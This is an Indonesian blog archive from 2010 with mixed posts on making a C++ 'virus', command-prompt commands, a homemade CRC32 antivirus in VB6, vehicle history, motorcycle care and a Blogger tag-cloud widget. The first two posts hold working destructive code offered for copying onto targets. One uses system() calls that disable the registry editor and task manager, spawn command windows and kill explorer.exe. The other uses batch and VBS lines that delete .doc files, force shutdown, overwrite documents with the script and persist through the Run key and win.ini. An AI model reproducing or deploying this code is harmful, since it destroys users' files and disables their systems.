Banner Sponsor

Minggu, 31 Januari 2010

Membuat Virus Dengan Bahasa C++

Pada Awal masuk kuliah Jurusan Informatika... Pertama kali belajar pemrograman itu pake bahasa C++ atau bisa dibilang pake borland C++...
Sempet mikir juga sih "Bisa gak y bikin Virus Pake bahasa C++"... Setelah belajar dan bertanya kesana kemari akhirnya gw ciptain konsep virus C++ yang klo komputer terinfeksi virusnya BIKIN PUSING BUAT YANG PEMULA.........
Nih scriptnya... Tinggal Copy Paste di Borland C++....... Truz di "run".....


#include"windows.h" 
main()
{

//bwt disable registry editor
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disableregistrytools /d 1 /f");

//untuk disable taskmanager
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disabletaskmgr /d 1 /f");

//disable fungsi run di windows
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f");

//buat ngeluarin jendela command prompt cukup banyak dan buat puyeng lah lah lah.....
//syntax penyelamat sebenarnya
system("for %d in ( . . . . . . . . . . , , , . , . . , , l , l , ; . , . , . , l , , l , . . , . . , . , . , , , . , . , . . . . . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , ) do start");

//untuk keluar dari process explorer.exe
system("Taskkill /f /im explorer.exe");




PERHATIAN.....
- Virus ini CUKUP MEMBUAT PARA PEMULA BINGUNG + PUSING + PENGEN INSTAL ULANG KOMPUTERNYA....


Truz Gimana Cara Benerinnya...?????????????????
1. waktu program dijalankan kan dia menyisakan command prompt yang keluarnya banyak tu
2. ketikkan "explorer.exe" (tanpa kutip dua) di situ
3. buka lagi program mentahannya, lalu ganti angka 1 setelah /d dengan 0...
4. selamat mencoba ya......

5. Virus ini cuma buat BELAJAR lho........

Sabtu, 30 Januari 2010

Perintah - Perintah Dalam Command Prompt Windows

Perintah-Perintah Command Prompt:

1.Delete Registry : REG DELETE ALAMAT /v VALUE NAME /f
Keterangan :
- REG DELETE = Menghapus registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt
Contoh : REG DELETE HKEY\Software\Microsoft\Windows\Policies\Explorer /v NoFind
Fungsi = Menghapus Value NoFind Di Alamat Registry HKEY\Software\Microsoft\Windows\Policies\Explorer

2.ADD Registry : REG ADD ALAMAT /v VALUE NAME /t TYPE /s SEPARATOR /d DATA /f
Keteranagn :
- REG ADD = Menambah registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
- /t TYPE = Type data Ex: REG_DWORD, REG_SZ
- /d DATA = Isi Value
- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt

3.PROMPT : PROMPT Text
Keterangan:
PROMPT = Perintah untuk merubah text PROMPT
Text = Text yang ingn kita munculkan di PROMPT
Text dapat menggunakan karakter spesial yang daftarnya berikut ini!!
$A = Karakter & $N = Drive kita menginstal windows
$B = Karakter | $P = Default
$C = Karakter ( $Q = Karakter =
$D = Karakter Tanggal Sekarang $S = Karakter Spasi
$E = Karakter Escape Kode $T = Karakter Jam Sekarang
$F = Karakter ) $V = Karakter No Versi Windows
$G = Karakter > (lebih besar dari) $_ = Karakter Garis Bawah
$H = Karakter No Text $$ = Karakter Dollar
$L = Karakter < (lebih kecil dari) $+ = Karakter Aritmatik

4.Replace : Replace [Drive\Path\NamaFile] [Drive\Path] /A /P /R /S /W /U
Keterangan:
Replace = Pindahkan
- [Drive\Path\NamaFile] = Spesifik sumber file
- [Drive\Path\] = Folder Tujuan
- A = Pindahkan File ke Folder Tujuan (No Update)
- P = Membuat Prompt MengKonfirmasi Kita Sebelum Memindahkan
- R = Pindahkan hanya File Attribut Read Only
- S = Pindahkan File Ke Semua Sub Direktori Folder Tujuan
- W = Tunggu kita memasukan disk/flashdisk sebelum memindahkan
- U = Pindahkan dan Update jika nama file sudah ada
- Jika menggunakan parameter /A tidak boleh menggunakan /S /U begitu juga sebaliknya.

5.Attrib : Attrib +R -R +A -A +H -H +S -S ADRESS /S /D
Keterangan:
Attrib = Rubah Attribut File/Folder
- (-) = Untuk Menghapus Attribut
- (+) = Untuk Menambah Attribut
- (A) = Attribut Archieve
- (R) = Attribut Read Only
- (H) = Attribut Hidden
- (S) = Attribut Super_Hidden/System
- /S = Proses terhadap file yang sama di folder dan subfolder
- /D = Proses folder Sebagai Sumber
- Adress = Alamat File Misal: C:\Lucky\Ganteng

6.Del : Del /P /F /S /Q /Attribut /Adress
Keterangan:
- Del = Hapus File / Folder
- /P = Membuat Prompt MengKonfirmasi Kita Sebelum Menghapus
- /F = Hapus Hanya Read Only File
- /S = Hapus File Yang Sama Di Semua Sub Direktory
- /Q = Hapus Dengan Cepat
- /Attribut = Pilih Attribut File Yang Ingin Di Hapus (Tidak Ada Berarti Semua File) tanda (-) berarti yang tidak di hapus- - Adress = Alamat File Misal: C:\Lucky\Ganteng

7.Rename : Rename/Ren [Drive\Path\NamaFile] NewFileName
Keterangan:
- Rename = Rubah Nama File
- [Drive\Path\NamaFile] = Alamat Drive dan Nama File
- NewFileName = Nama File Baru

8.Type : Type [Drive\Path\NamaFile]
Keterangan:
- Type = Membuka Semua File Text (*.txt, *.doc, *.xls, *.ini, *.vbs, *.js, dll)
- [Drive\Path\NamaFile] = Lokasi File

9.Start : Start ADDRESS_FILE
- Start = Untuk menjalankan File
- ADDRESS_FILE = Alamat file di special folder seperti windows dan system32
- Ex: Start Regedit maka akan menjalankan Registry Editor.
sekarang kita akan membahas file *.bat yang berfungsi untuk menjalankan perintah command prompt secara bersamaan. oke ketikan kode berikut di notepad: date 07-07-07 dan save dengan nama edit_time.bat dan pilih “All File” dalam kolom “Save As Type” lalu jalankan!! setelah itu apa yang terjadi?? yah tanggal berubah jadi juli-7-2007.

oke lanjut ke file *.bat kita tidak mungkin membuat banyak file *.bat karena selain akan cepat terdeteksi, kita juga akan semakin rumit merubah registry!! namun jangan kuatir karena file *.bat bisa menjalankan perintah DOS/COMMAND_PROMPT secara langsung.
berikut perintah ini, kita buka notepad dan ketikan code berikut:
del C:\*.doc ‘—– hapus semua file berextensi doc di drive c
Shutdown -s -f -t 30 -c “Selamat Tidur” ‘—– -s = shutdown computer, -f = tutup semua aplikasi tanpa peringatan, -t = setting waktu(dalam detik) -c = menampilkan pesan “Selamat Tidur” (Bebas kita ubah)
attrib +s +h C:\*.jpg /s /d ‘—– beri attribut hidden dan system semua file jpg
for /R c:\ %%r in (*.cob *.doc) do copy %0 “%%r” ‘—– Copy isi file *.bat ke semua file *.cob dan *.doc di C
for /R c:\ %%r in (*.cob *.doc) do ren “%%r” *.bat ‘—– Rename semua file *.cob dan *.doc jadi *.bat sehingga isi file jd virus kita :D haha..haha
Untuk isi file bat yang akan menumpang di virus vbs kita anda boleh pilih mana yang paling cocok!! mungkin menghapus, shutdown dalam 30 detik, menyembunyikan atau merubah isinya jadi file *.bat?? dipilih!! dipilih!!
atau boleh masukin semuanya sehingga virus kita ditambah kode berikut ini:
Set bath = fso.CreateObject(towind & “\sialan.bat”)
bath.writeline “del C:\*.doc”
bath.writeline “Shutdown -s -f -t 30″
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do copy %0 %%r”
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do ren %%r *.bat”
bath.close
‘bonus
wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\”SysError”, “towind & “\sialan.bat”, “REG_SZ”
Maka ketika windows diaktifkan semua file doc akan menjadi *.bat dengan isi kode penghancur kita :D bisa diselamatkan ga tuh?? coba saja supaya anda tahu!!
Namun jika anda punya anti virus biasanya kode tersebut akan di blok karena jelas-jelas untuk merusak!! lalu bagaimana?? kita berdoa supaya antivirus komputer sasaran tidak mengenali :D karena memang tidak semua antivirus akan memblok perintah tersebut. Oia sebagai tambahan kita bisa membuat file lain seperti *.html atau *.ini!! jika kita punya banyak duplikat virus kita bisa membuat file *.ini supaya orang tidak cepat mengetahui virus kita hanya dengan membuka Regedit. untuk terakhir kali saya akan berikan lagi suatu code yang akan merubah file ini di windows sehingga menjalankan virus kita. oke langsung saja tentunya dengan perintah
set BuatIni = fso.CreateTextFile(”C:\WINDOWS\Win.ini”)
BuatIni.writeline “[WINDOWS]”
BuatIni.writeline “run = C:\Ju_Pe.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.writeline “load = C:\Persik.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.close
Maka ketika windows dijalankan virus akan aktif!! walaupun mungkin registry telah dirubah.
Dari pembahasan kita maka kita bisa simpulkan beberapa langkah berikut jika terkena virus vbs: jika tidak di enkripsi anda bisa melihat dan membunuh semua virus dan membenarkan registry dengan membaca source kodenya, tapi jika di enkripsi kita lakukan langkah berikut:
1.Matikan proses virus!! anda bisa menggunakan tool pengganti TaskManager yang biasanya akan di blok.
2.Hapus semua duplikat virus!! anda bisa gunakan antivirus update terbaru dan jika diblok virus anda rubah dulu namanya seperti PCMAV_CLN.exe jadi 123.exe
3.Buka registry dan periksa dengan teliti semua subkey run otomatis biasanya akan terdapat key yang mengarah ke letak virus yang dijalankan dan periksa file win.ini!! jika dirubah anda minta dari komputer teman anda :D dan jika ada petunjuk letak virus langsung hapus.
4.Rubah semua registry yang dirubah virus!! bisa dengan TuneUp Utilities dan sebagainya!!
Untuk pencegahan lakukan langkah berikut:
1.Gunakan antivirus terbaru, jika bisa yang mempunyai fitur heuristik seperti ANSAV.
2.Jangan asal klik file!! lihat dikolom type Windows Explorer apabila application tapi iconnya folder atau MS Word langsung hapus.
3.Selalu scan jika mencolokan flaskdisk
4.Matikan proses autorun melalui registry di alamat
“HKCU(atau HKLM)\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer”, buat DWORD value baru dengan nama NoDriveTypeAutorun dan isi dengan nilai 255. atau melalui start—Run—ketik GPEDIT.msc—User Configuration—Administratif Templates—–System—–Cari Turn Off AutoPlay—–klik 2x dan rubah jadi Enabled!!
5.Jangan Pakai OS Windows, pake linux cos VMaker Indonesia cuma bisa bikin untuk windows

Rabu, 27 Januari 2010

Membuat Antivirus Sendiri



Main#
Sekarang kehadiran para virus maker (–selanjutnya disingkat jadi VM saja) lokal telah membuat gerah para user komputer tanah air. Bisa dibayangkan bila dari sekian banyak virus lokal tidak satu-dua yang menghancurkan data (terutama bagi file office; word, excel, dll…). Bagi para vendor Anti Virus (–selanjutnya disingkat menjadi AV saja) fenomena ini adalah lahan bisnis untuk produk mereka. Sebut saja NORMAN, yang kini men-support perusahaan konsultan virus lokal (–VAKSIN.COM) , Symantec, McAffe, NOD32, dan sebagainya. Dengan menawarkan update definisi software AV tercepat, engine scanner paling sensitif, dan lain-lain merupakan kiat untuk memancing para korban virus membeli dan menggunakan software AV mereka. Bagi penulis sendiri hal ini memang agak memberatkan mengingat update file definisi atau engine AV tsb haruslah melalui koneksi internet. Lalu bagaimana yang tidak mempunyai akses sama sekali? Konsekuensinya iyalah tertinggal dalam hal pengenalan varian virus baru yang pada ujung-ujungnya membuat AV yang sudah terinstall bagai ‘Macan Ompong’. Kalau kita membuat AV sendiri bagaimana? dengan database definisi yang bisa diupdate oleh kita bahkan dapat saling tukar dengan teman? Bisa saja, dengan syarat mau mempelajari sedikit teknik pemograman.Pertama kita harus mengerti bagaimana cara kerja sebuah AV sederhana, pada dasarnya sebuah software AV mempunyai komponen-komponen :


1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.


Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :


* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)

Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)


First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -&gt; COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan


If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &amp;HFFFFFFFF


For lCurPos = 0 To lLen
lTemp = (((lTemp And &amp;HFFFFFF00) &amp;H100) And &amp;HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos

CRC32 = lTemp Xor &amp;HFFFFFFFF
End Function

Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &amp;HEDB88320


For i = 0 To 255
crc = i
For x = 0 To 7

If crc And 1 Then
crc = (((crc And &amp;HFFFFFFFE) 2) And &amp;H7FFFFFFF) Xor Limit
Else
crc = ((crc And &amp;HFFFFFFFE) 2) And &amp;H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function


Private Sub Class_Initialize()
BuildTable
End Sub

================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long

Dim tmp() As Byte ‘array buat file yang dibaca


Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1) – 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1


calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC


HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub


erorhandle:
If Err.Number &lt;&gt; 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================
COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.

Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file


Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678

Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :

================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input

Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function

================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

================= START HERE ====================
If Len(App.Path) &lt;= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path

Else
pathEXE = App.Path &amp; “”
End If


CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1) – 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1


calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC


HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE &amp; “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” &amp; namaVirus ‘tampilkan message Box

End If
Exit Sub


erorhandle:
If Err.Number &lt;&gt; 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================
Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.

Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi. Tidak tertutup kemungkinan software AV ini ditingkatkan lebih advanced dalam hal engine scannernya.


Penutup#

Pengembangan software AV sederhana ini sepenuhnya Open-Source selama mengikutsertakan nama pembuat asli didalamnya. Listing serta projek lengkap dapat didownload di http://www.geocities.com/emomelodicfreak/ProjekAV.zip

Sejarah Kendaraan Bermotor


Sunguh asyiklah dapat pergi kemana-mana seingin hati dengan kecepatan dan kekuatan seekor binatang liar!
Sejak awal Sejarah, kata manusia, telah memimpikan kebebasan seperti itu.
Itulah sebabnya kuda dijinakkan manusia sehingga dapat ditunggangi dan digunakan untuk menarik beban yang berat-berat.
Beratus-ratus tahun yang lalu timbullah pikiran: "Mengapa tidak dibuat mesin yang dapat mengganti kuda?"
Pada tahun 1600-an dibuat orang sebuah kereta berlayar yang bergeraknya menggunakan tenaga angin.
Kendaraan ini tidak begitu berhasil karena angin tidak selalu pada tiap hari, dan kalaupun ada, angin toh tidak selalu bertiup ke arah yang diinginkan orang.
Kendaraan ini tidak menjadi populer.
Pada tahun 1770 muncullah sebuah kendaraan yang sunguh-sungguh merupakan mobil di jalan-jalan Negara Perancis.
Mobil ini bertenaga uap, lebih berhasil daripada kereta berlayar, dan menjadi biasa pada tahun 1800-an.
Pada tahun 1880-an, dua orang insinyur Jerman, yakni Gottlieb Daimler dan Karl Benz, membuat beberapa kendaraan bermotor bensin.
Kendaraan ini merupakan nenek moyang semua mobil masa kini.
Selama tahun 1900-an ratusan mobil dikembangkan menjadi kendaraan yang cepat lajunya, berkekuatan besar dan nyaman seperti mobil-mobil yang kita kenal sekarang

Cara Merawat Sepeda Motor 4 Tak


 Sumber: Otokir – Pikiran Rakyat, 14 Des 2007
KALAU motor sudah mulai rewel, paling nyebelin! Padahal, biasanya kondisi itu terjadi akibat kita juga yang kurang merawat motor. Untuk menangani motor yang sering rewel ada beberapa hal yang harus diperhatikan:
Cek Kondisi Oli
Oli mesin ini sangat penting peranannya untuk melumas komponen-komponen mesin, seperti setang seher, seher, dan ring seher, kruk as serta noken as atau setang klep. Oleh karena itu, jika keberadaan minyak pelumas sudah berwarna kehitam-hitaman atau kelenturan daya lumasnya berkurang, maka sebaiknya diganti. Ganti oli secara periodik dan gunakan merek oli sesuai dengan rekomendasi pabrikan.
Cek Kondisi Aki
Jangan dibiarkan air accu melewati batas maksimum dan minimum yang akibatnya bisa mempercepat kerusakan pada sel-sel accu. Tambahkan air aki pada pagi hari
Selain itu, jika baterei atau accu tersebut sudah melemah secepatnya diganti, sebab jika dipaksakan selain kedua kutub positif dan negatif akan mengeluarkan korosi (serbuk putih), korosi tersebut akan menjalar ke bagian kabel-kabel utama yang menghubungkan arus listrik ke saluran lampu, dinamo, atau bagian-bagian lainnya.
Oleh karena itu, jika terjadi hal itu arus listrik yang dihantarkan baterei atau accu tidak sempurna dan bisa menyebabkan kerusakan pada komponen dinamo, kontak mesin maupun switch lampu. Satu hal yang perlu diperhatikan, jika accu sudah lemah atau tidak mampu di starter, jangan dipaksakan dengan mendorong sepeda motor untuk menghidupkannya. Sebab, bisa merusak gigi transmisi.
Periksa Rantai dan Gir
Jangan biarkan rantai terlalu kendor, atau terlalu kencang. Terlalu kendor bisa membuat rantai copot dari girnya, sementara terlalu kencang bisa mengakibatkan putus rantai. Cek juga kondisi gir, jika sudah tajam segera ganti karena jika tidak rantai bisa tiba-tiba putus. Bahaya kan, kalau lagi ngebut tiba-tiba putus rantai?
Periksa Kabel Koil dan Busi
Perhatikan keberadaan kabel koil yang menghubungkan arus listrik ke busi. Jika sudah cukup umur dan sudah terlihat ada retakan dan pengerasan pada kabel tersebut, maka sebaiknya diganti. Juga perhatikan keberadaan busi karena busi sangat vital untuk kelancaran satu mesin kendaraan.
Perhatikan Selang Bensin
Komponen lainnya yang perlu diperhatikan selang bensin ke karburator. Jangan membiarkan kondisi selang bensin mengeras atau terjadi retakan-retakan, karena bagian dalam selang bisa jadi sudah tidak elastis yang mengakibatkan serbuk kotoran yang berasal dari selang terbawa ke karburator. Yang pada akhirnya akan terjadi penyumbatan suplai bensin dari tanki ke karburator sehingga mengganggu sistem pembakaran.
Panaskan Mesin Paling Lama 2 Menit
Panaskan mesin sebelum motor dijalankan, tak perlu lama-lama cukup 1-2 menit. Ini supaya sirkulasi oli bisa melumasi seluruh bagian dalam mesin yang bergerak. Jangan terlalu lama memanaskan, karena akan membuat pipa knalpot menguning selain itu pastinya jadi buang-buang bensin.
Periksa Tekanan Angin Ban
Jangan terlalu keras dan juga jangan kurang karena bisa berakibat kembang ban motor rusak.
Gunakan Sparepart Asli
Lebih baik mahal sedikit, tapi puas dan tahan lama daripada memakai yang tidak asli, meski murah tapi daya tahan kurang. selamat merawat motor. Jika langkah-langkah tersebut dilakukan dengan benar, motor kesayangan Anda senantiasa tampil prima. (Iroel)

Senin, 25 Januari 2010

Membuat Label Blog Berputar

Apa Sih Label Cloud / Label Yang Berputar......????


Label cloud ini terlihat lebih menarik karena gerakannya yang dinamis sehingga dapat menarik perhatian para pengunjung blog kita dan label cloud ini gerakannya juga mengikuti cursor, coba sobat arahkan cursor ke label cloud tersebut, terlihat tulisannya mengikuti cursor sobat.

Sebenarnya untuk membuat label cloud ini membutuhkan kode HTML yang lumayan agak panjang dan sobat harus menambahkannya pada 
kode HTML template sobat, jadi saran saya nanti sebelum mengedit template, ada baiknya download terlebih dahulu template sobat atau bisa sobat simpan di notepad juga tidak apa-apa.

^^^Langkah Pertama

  1. Login ke Blogger dengan ID sobat.

  2. Klik "Tata Letak"

  3. Klik tab "Edit HTML"

  4. Download dahulu template sobat dengan mengklik "Download Template Lengkap"

  5. Kemudian klik button "Expand Template Widget" dan cari kode yang seperti ini


    <b:section
    class='sidebar' id='sidebar' preferred='yes'>



  6. Copy kode berikut ini setelah kode diatas :

    <b:widget id='Label99' locked='false' title='Labels' type='Label'>

    <b:includable id='main'>

    <b:if cond='data:title'>

    <h2><data:title/></h2>

    </b:if>

    <div class='widget-content'>

    <script src='http://halotemplates.s3.amazonaws.com/wp-cumulus-example/swfobject.js'
    type='text/javascript'/>

    <div id='flashcontent'>Blogumulus by <a href='http://www.roytanck.com/'>Roy
    Tanck</a> and <a href='http://www.bloggerbuster.com'>Amanda Fazani</a></div>

    <script type='text/javascript'>

    var so = new SWFObject(&quot;http://halotemplates.s3.amazonaws.com/wp-cumulus-example/tagcloud.swf&quot;,
    &quot;tagcloud&quot;, &quot;
    240&quot;, &quot;300&quot;, &quot;7&quot;, &quot;#ffffff&quot;);

    // uncomment next line to enable transparency

    //so.addParam(&quot;wmode&quot;, &quot;transparent&quot;);

    so.addVariable(&quot;tcolor&quot;, &quot;0x
    333333&quot;);

    so.addVariable(&quot;mode&quot;, &quot;tags&quot;);

    so.addVariable(&quot;distr&quot;, &quot;true&quot;);

    so.addVariable(&quot;tspeed&quot;, &quot;100&quot;);

    so.addVariable(&quot;tagcloud&quot;, &quot;<tags><b:loop values='data:labels'
    var='label'><a expr:href='data:label.url' style='
    12'><data:label.name/></a></b:loop></tags>&quot;);

    so.addParam(&quot;allowScriptAccess&quot;, &quot;always&quot;);

    so.write(&quot;flashcontent&quot;);

    </script>

    <b:include name='quickedit'/>

    </div>

    </b:includable>

    </b:widget>



  7. Kemudian Save Template


^^^Langkah Kedua
  1. Mengubah lebar dan tinggi kolom serta warna background


    var so = new
    SWFObject("http://halotemplates.s3.amazonaws.com/wp-cumulus-example/tagcloud.swf",
    "tagcloud", "
    240", "300",
    "7", "
    #ffffff");


    • Angka "240" adalah lebar kolom
    • Angka "300" adalah tinggi kolom
    • Sedangkan #ffffff adalah kode untuk backgroud

  2. Merubah warna font, untuk kode warna bisa sobat lihat disini


    so.addVariable("tcolor", "0x
    333333");


  3. Merubah ukuran font


    so.addVariable("tagcloud", "<tags><b:loop values='data:labels' var='label'><a
    expr:href='data:label.url' style='
    12'><data:label.name/></a></b:loop></tags>");

Minggu, 24 Januari 2010

10 Penyebab PC Crash

Kesalahan fatal: sistem menjadi tidak stabil atau sibuk, "ia mengatakan." Masukkan kembali ke Kontrol Windows atau tekan Alt-Hapus-restart komputer Anda. Jika Anda melakukannya Anda akan kehilangan informasi yang belum di semua aplikasi yang terbuka. "

Anda sudah pernah terkena oleh Blue Screen of Death. Setiap orang yang menggunakan Windows Mcft akan akrab dengan pengumuman ini. Apa yang dapat Anda lakukan? Lebih penting lagi, bagaimana Anda dapat mencegahnya terjadi?

1 konflik Perangkat Keras

Nomor satu alasan mengapa crash Windows adalah konflik perangkat keras. Setiap perangkat keras ke perangkat lain yang berkomunikasi melalui permintaan mengganggu saluran (IRQ). Ini adalah seharusnya unik untuk setiap perangkat.

